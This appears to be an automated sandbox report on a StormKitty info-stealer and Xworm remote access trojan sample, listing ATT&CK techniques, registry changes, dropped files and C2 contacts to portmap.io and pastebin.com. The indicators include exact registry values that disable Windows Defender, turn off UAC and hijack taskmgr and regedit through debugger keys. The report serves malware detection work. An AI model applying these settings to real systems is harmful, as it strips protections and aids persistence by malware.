stormkitty | d8fce9dd9c65ca143343f7711859a7cffc3c5e656a8b84108183fb769a12ed8b

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	reg.exe

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/5696-2806-0x000000001CB60000-0x000000001CC7E000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies boot configuration data using bcdedit 1 TTPs 25 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
444	bcdedit.exe
1344	bcdedit.exe
648	bcdedit.exe
3244	bcdedit.exe
7156	bcdedit.exe
6184	bcdedit.exe
2824	bcdedit.exe
7032	bcdedit.exe
5692	bcdedit.exe
6924	bcdedit.exe
3328	bcdedit.exe
2928	bcdedit.exe
5216	bcdedit.exe
5684	bcdedit.exe
6004	bcdedit.exe
6568	bcdedit.exe
6980	bcdedit.exe
2108	bcdedit.exe
4552	bcdedit.exe
3680	bcdedit.exe
2260	bcdedit.exe
2632	bcdedit.exe
6384	bcdedit.exe
5024	bcdedit.exe
6188	bcdedit.exe

Blocks application from running via registry modification 1 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 6 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>OpenVPN_UserSetup\ = "OpenVPN 2.6.13-I001 amd64"	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>OpenVPN_UserSetup\Version = "1"	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>OpenVPN_UserSetup\IsInstalled = "1"	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>OpenVPN_UserSetup\DontAsk = "2"	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\>OpenVPN_UserSetup\StubPath = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v OPENVPN-GUI /t REG_SZ /d \"C:\\Program Files\\OpenVPN\\bin\\openvpn-gui.exe\""	MsiExec.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components\>OpenVPN_UserSetup	MsiExec.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion
Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Drops file in Drivers directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\SET584.tmp	DrvInst.exe
File created	C:\Windows\System32\drivers\SET584.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\wintun.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\tap0901.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\SETCD7.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\ovpn-dco.sys	DrvInst.exe
File opened for modification	C:\Windows\System32\drivers\SET91E.tmp	DrvInst.exe
File created	C:\Windows\System32\drivers\SET91E.tmp	DrvInst.exe
File created	C:\Windows\System32\drivers\SETCD7.tmp	DrvInst.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "cmd.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "C:\\Windows\\System32\\svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "cmd.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "cmd.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "C:\\Windows\\System32\\svchost.exe"	reg.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

Network Share Connection Removal

T1070.005

pid	Process
5796	net.exe
7036	net1.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1812	netsh.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 27 IoCs

pid	Process
2404	openvpnserv.exe
4380	openvpnserv2.exe
5184	openvpn-gui.exe
6004	openvpn.exe
1036	playit.exe
564	openvpn.exe
5624	XWormLoader 5.1 x64.exe
2312	XClient.exe
5688	XClient.exe
4232	XClient2.exe
5696	XClient3.exe
6100	playit.exe
6108	XClient3.exe
556	XClient4.exe
3576	qwadvk.exe
5488	qwadvk.exe
5864	XClient4.exe
5284	XClient3.exe
6996	XClient4.exe
7092	portmap.exe
6220	XClient3.exe
5840	playit.exe
5272	XClient3.exe
6108	XClient4.exe
6284	portmap.exe
2816	XClient.exe
1384	XClient2.exe

Loads dropped DLL 26 IoCs

pid	Process
4592	MsiExec.exe
4592	MsiExec.exe
5652	MsiExec.exe
5652	MsiExec.exe
5652	MsiExec.exe
5652	MsiExec.exe
4996	MsiExec.exe
4996	MsiExec.exe
4996	MsiExec.exe
4996	MsiExec.exe
4996	MsiExec.exe
2404	openvpnserv.exe
4996	MsiExec.exe
4996	MsiExec.exe
5652	MsiExec.exe
4592	MsiExec.exe
6004	openvpn.exe
6004	openvpn.exe
6004	openvpn.exe
6004	openvpn.exe
564	openvpn.exe
564	openvpn.exe
564	openvpn.exe
564	openvpn.exe
5624	XWormLoader 5.1 x64.exe
5488	qwadvk.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/5624-2484-0x0000020B793D0000-0x0000020B79D22000-memory.dmp	agile_net

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000\Software\Microsoft\Windows\CurrentVersion\Run\OpenVPN-GUI = "C:\\Program Files\\OpenVPN\\bin\\openvpn-gui.exe"	msiexec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 27 IoCs

Web Service

T1102

flow	ioc
741	portmap.io
801	portmap.io
106	portmap.io
111	portmap.io
494	pastebin.com
535	portmap.io
962	pastebin.com
108	portmap.io
109	portmap.io
110	portmap.io
167	portmap.io
800	portmap.io
994	pastebin.com
330	pastebin.com
82	portmap.io
168	portmap.io
253	portmap.io
254	portmap.io
326	portmap.io
328	pastebin.com
331	pastebin.com
107	portmap.io
407	portmap.io
492	portmap.io
534	portmap.io
694	portmap.io
740	portmap.io

Mark of the Web detected: This indicates that the page was originally saved or cloned. 1 IoCs

phishing motw

flow	ioc	pid	Process
57	https://try.abtasty.com/cross-domain-iframe.html	3120	chrome.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System32\DriverStore\FileRepository\netwtw10.inf_amd64_3b49c2812809f919\netwtw10.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\rtucx21x64.inf_amd64_d70642620058e2a4\rtucx21x64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netvwifimp.inf_amd64_bfb9fd6f3a078899\netvwifimp.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netrtwlans.inf_amd64_97cd1a72c2a7829c\netrtwlans.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\Temp\{35795658-0e1e-f74f-981a-abbd46aec4d8}\SETFCEB.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\usb4p2pnetadapter.inf_amd64_a9fd59ce64f17c8a\usb4p2pnetadapter.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netv1x64.inf_amd64_30040c3eb9d7ade4\netv1x64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netvf63a.inf_amd64_a090e6cfaf18cb5c\netvf63a.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netwns64.inf_amd64_162bb49f925c6463\netwns64.PNF	MsiExec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{702b386a-fb91-4945-a705-dc5a33ba8fb1}\SET268.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\usbnet.inf_amd64_5229ee1dac1c624e\usbnet.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\nett4x64.inf_amd64_54eacac1858c78ab\nett4x64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netl1e64.inf_amd64_8d5ca5ab1472fc44\netl1e64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\net44amd.inf_amd64_450d4b1e35cc8e0d\net44amd.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\net9500-x64-n650f.inf_amd64_e92c5a65e41993f9\net9500-x64-n650f.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\rtwlanu_oldic.inf_amd64_1a82423cc076e882\rtwlanu_oldic.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netl1c63x64.inf_amd64_4d6630ce07a4fb42\netl1c63x64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netrtwlanu.inf_amd64_1815bafd14dc59f0\netrtwlanu.PNF	MsiExec.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_ba3e477187f1080b\tap0901.sys	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netelx.inf_amd64_7812e4e45c4a5eb1\netelx.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netjme.inf_amd64_752bf22f1598bb7e\netjme.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netimm.inf_amd64_8b2087393aaef952\netimm.PNF	MsiExec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{f14b3064-c501-fc41-ad28-96fae3a12739}\SET363.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\ovpn-dco.inf_amd64_b737bb7e846ccda6\ovpn-dco.inf	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netmyk64.inf_amd64_1f949c30555f4111\netmyk64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netathrx.inf_amd64_220db23f5419ea8d\netathrx.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netr7364.inf_amd64_310ee0bc0af86ba3\netr7364.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\Temp\{35795658-0e1e-f74f-981a-abbd46aec4d8}\SETFCD9.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{702b386a-fb91-4945-a705-dc5a33ba8fb1}\SET269.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netwtw06.inf_amd64_2edd50e7a54d503b\netwtw06.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\e2xw10x64.inf_amd64_04c2ae40613a06ff\e2xw10x64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\net8187se64.inf_amd64_99a4ca261f585f17\net8187se64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netg664.inf_amd64_84cd7b2798e0a666\netg664.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\Temp\{702b386a-fb91-4945-a705-dc5a33ba8fb1}\SET269.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netefe3e.inf_amd64_7830581a689ef40d\netefe3e.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netl160a.inf_amd64_e4cbe375963a69e9\netl160a.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\usbncm.inf_amd64_6686e5d9c8b063ef\usbncm.PNF	MsiExec.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_ba3e477187f1080b\OemVista.inf	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netwbw02.inf_amd64_1c4077fa004e73b4\netwbw02.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netwew01.inf_amd64_153e01d761813df2\netwew01.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netwtw08.inf_amd64_62f41b89e0dc2537\netwtw08.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\net8192se64.inf_amd64_167684f9283b4eca\net8192se64.PNF	MsiExec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{35795658-0e1e-f74f-981a-abbd46aec4d8}\wintun.sys	DrvInst.exe
File created	C:\Windows\System32\DriverStore\Temp\{f14b3064-c501-fc41-ad28-96fae3a12739}\SET352.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\rndiscmp.inf_amd64_04b60d124553a40f\rndiscmp.PNF	MsiExec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{35795658-0e1e-f74f-981a-abbd46aec4d8}\SETFCD9.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{35795658-0e1e-f74f-981a-abbd46aec4d8}	DrvInst.exe
File created	C:\Windows\System32\DriverStore\drvstore.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\net1yx64.inf_amd64_8604d8a50804b9c1\net1yx64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\dc21x4vm.inf_amd64_d54f628acb9dea33\dc21x4vm.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netrtl64.inf_amd64_8e9c2368fe308df2\netrtl64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\net8192su64.inf_amd64_66c8bfc7a4b1feed\net8192su64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netbxnd0a.inf_amd64_777881a2c4c0272c\netbxnd0a.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\mrvlpcie8897.inf_amd64_07fc330c5a5730ca\mrvlpcie8897.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\drvstore.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{702b386a-fb91-4945-a705-dc5a33ba8fb1}\SET267.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\net7800-x64-n650f.inf_amd64_178f1bdb49a6e2fd\net7800-x64-n650f.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netnvma.inf_amd64_7080f6b8ea1744fb\netnvma.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netwlv64.inf_amd64_0b9818131664d91e\netwlv64.PNF	MsiExec.exe
File created	C:\Windows\System32\DriverStore\FileRepository\kdnic.inf_amd64_49825a4c00258135\kdnic.PNF	MsiExec.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{35795658-0e1e-f74f-981a-abbd46aec4d8}\SETFCDA.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{702b386a-fb91-4945-a705-dc5a33ba8fb1}\tap0901.cat	DrvInst.exe
File created	C:\Windows\System32\DriverStore\drvstore.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{f14b3064-c501-fc41-ad28-96fae3a12739}\ovpn-dco.cat	DrvInst.exe

Drops file in Program Files directory 30 IoCs

description	ioc	Process
File created	C:\Program Files\Common Files\ovpn-dco\Win11\ovpn-dco.sys	msiexec.exe
File created	C:\Program Files\OpenVPN\res\ovpn.ico	msiexec.exe
File created	C:\Program Files\OpenVPN\include\tap-windows.h	msiexec.exe
File created	C:\Program Files\playit_gg\bin\playit.exe	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\libpkcs11-helper-1.dll	msiexec.exe
File created	C:\Program Files\OpenVPN\log\README.txt	msiexec.exe
File created	C:\Program Files\OpenVPN\doc\openvpn.8.html	msiexec.exe
File created	C:\Program Files\Common Files\ovpn-dco\Win11\ovpn-dco.inf	msiexec.exe
File created	C:\Program Files\OpenVPN\config\README.txt	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\openvpnserv2.exe	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\tapctl.exe	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\openvpn-plap-install-new.reg	MsiExec.exe
File created	C:\Program Files\OpenVPN\bin\libopenvpn_plap.dll	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\openvpn-plap-install.reg	msiexec.exe
File created	C:\Program Files\OpenVPN\license.txt	msiexec.exe
File created	C:\Program Files\OpenVPN\sample-config\client.ovpn	msiexec.exe
File created	C:\Program Files\OpenVPN\ssl\modules\legacy.dll	msiexec.exe
File created	C:\Program Files\OpenVPN\sample-config\server.ovpn	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\vcruntime140.dll	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\openvpn-plap-uninstall.reg	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\openvpnserv.exe	msiexec.exe
File opened for modification	\??\c:\program files\openvpn\res\ovpn.ico	openvpn-gui.exe
File created	C:\Program Files\OpenVPN\bin\openvpn-gui.exe	msiexec.exe
File created	C:\Program Files\OpenVPN\config-auto\README.txt	msiexec.exe
File opened for modification	\??\c:\program files\openvpn\res\ovpn.ico	chrome.exe
File created	C:\Program Files\OpenVPN\bin\openvpn.exe	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\libcrypto-3-x64.dll	msiexec.exe
File created	C:\Program Files\OpenVPN\doc\INSTALL-win32.txt	msiexec.exe
File created	C:\Program Files\OpenVPN\bin\libssl-3-x64.dll	msiexec.exe
File created	C:\Program Files\Common Files\ovpn-dco\Win11\ovpn-dco.cat	msiexec.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIFE57.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{8274048B-FF59-47CC-802A-8A7E6325D2D5}\openvpn.ico	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File created	C:\Windows\SystemTemp\~DF2D4F89C34E9AEE46.TMP	msiexec.exe
File created	C:\Windows\Installer\e58eb87.msi	msiexec.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Installer\MSIF142.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\{8274048B-FF59-47CC-802A-8A7E6325D2D5}\tapctl_create.ico	msiexec.exe
File opened for modification	C:\Windows\Installer\{8274048B-FF59-47CC-802A-8A7E6325D2D5}\openvpn.ico	Taskmgr.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Installer\MSIF1D0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{8C17366B-843B-49DC-AC1B-748DC264E06F}\ProductICO	Taskmgr.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF1E1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF191.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File created	C:\Windows\inf\oem4.inf	DrvInst.exe
File created	C:\Windows\SystemTemp\~DFE5714696180E668A.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\inf\oem3.inf	DrvInst.exe
File created	C:\Windows\Installer\{8C17366B-843B-49DC-AC1B-748DC264E06F}\ProductICO	msiexec.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\inf\oem4.inf	DrvInst.exe
File opened for modification	C:\Windows\Installer\MSI16C4.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF31CEACA11EEC03D9.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF655BC98C9E4AAE42.TMP	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	svchost.exe
File created	C:\Windows\Installer\{8274048B-FF59-47CC-802A-8A7E6325D2D5}\openvpn.ico	msiexec.exe
File opened for modification	C:\Windows\Installer\{8C17366B-843B-49DC-AC1B-748DC264E06F}\ProductICO	Taskmgr.exe
File opened for modification	C:\Windows\Installer\{8274048B-FF59-47CC-802A-8A7E6325D2D5}\openvpn.ico	Taskmgr.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\Installer\{8274048B-FF59-47CC-802A-8A7E6325D2D5}\tapctl_create.ico	msiexec.exe
File created	C:\Windows\Installer\e58eb86.msi	msiexec.exe
File created	C:\Windows\Installer\e58eb89.msi	msiexec.exe
